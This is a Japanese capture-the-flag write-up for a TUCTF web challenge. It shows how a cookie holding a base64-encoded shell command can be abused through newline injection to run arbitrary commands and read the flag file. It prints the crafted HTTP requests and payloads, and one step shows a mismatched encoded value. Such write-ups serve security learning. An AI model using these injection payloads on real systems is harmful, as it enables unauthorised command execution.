# ▼▼▼Cookie Harrelson(Web:200)、338/948team＝35.7％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```Woody Harrelson has decided to take up web dev after learning about Cookies. Show him that he should go back to killing zombies.
http://cookieharrelson.tuctf.com```
-----
```GET / HTTP/1.1Host: cookieharrelson.tuctf.com```
↓
`Set-Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D; expires=Mon, 25-Dec-2017 05:40:09 GMT; Max-Age=2592000; path=/`
↓
Cookieの値`Y2F0IGluZGV4LnR4dA%3D%3D`をBase64でデコード
↓
`cat index.txt`
↓
Cookieに挿入すれば、任意のOSコマンドを実行できそう。
-----
まず、Cookieの値を上記の値のまま送信してみる
↓
```GET / HTTP/1.1Host: cookieharrelson.tuctf.comCookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D```
↓
そのまま送信しても同じ値が返ってくることがわかった。`Y2F0IGluZGV4LnR4dA%3D%3D`
-----
`cat flag.txt`をbase64でエンコードした値`Y2F0IGluZGV4LnR4dA%3D%3D`を送信してみる
↓
```GET / HTTP/1.1Host: cookieharrelson.tuctf.comCookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D```
↓
```Set-Cookie: tallahassee=Y2F0IGluZGV4LnR4dA%3D%3D; expires=Mon, 25-Dec-2017 05:40:09 GMT; Max-Age=2592000; path=/```
↓
`Y2F0IGluZGV4LnR4dA%3D%3D`
↓Base64デコード
`cat index.txt #cat flag.txt`
↓
#でコメントアウトされるようだ。
↓
改行すれば任意のOSコマンドを実行できる
-----
`%0als`をBase64でエンコードした値`Cmxz`を送信する
↓
```GET /index.php HTTP/1.1Host: cookieharrelson.tuctf.comCookie:tallahassee=Cmxz;```
↓
```There's no way you can steal the flag from Woody Harrelson's Cookies!!flag1337imagesindex.phpindex.txt```
↓
`%0acat flag1337`をBase64でエンコードした値`CmNhdCBmbGFnMTMzNw==`を送信する
↓
```GET /index.php HTTP/1.1Host: cookieharrelson.tuctf.comCookie: tallahassee=CmNhdCBmbGFnMTMzNw==```
↓
`Flag: TUCTF{D0nt_3x3cut3_Fr0m_C00k13s}`
-----
(参考：ソースコードの取得)
`cat index.php`をBase64でエンコードした値`CmNhdCBpbmRleC5waHA=`を送信する
↓
```
```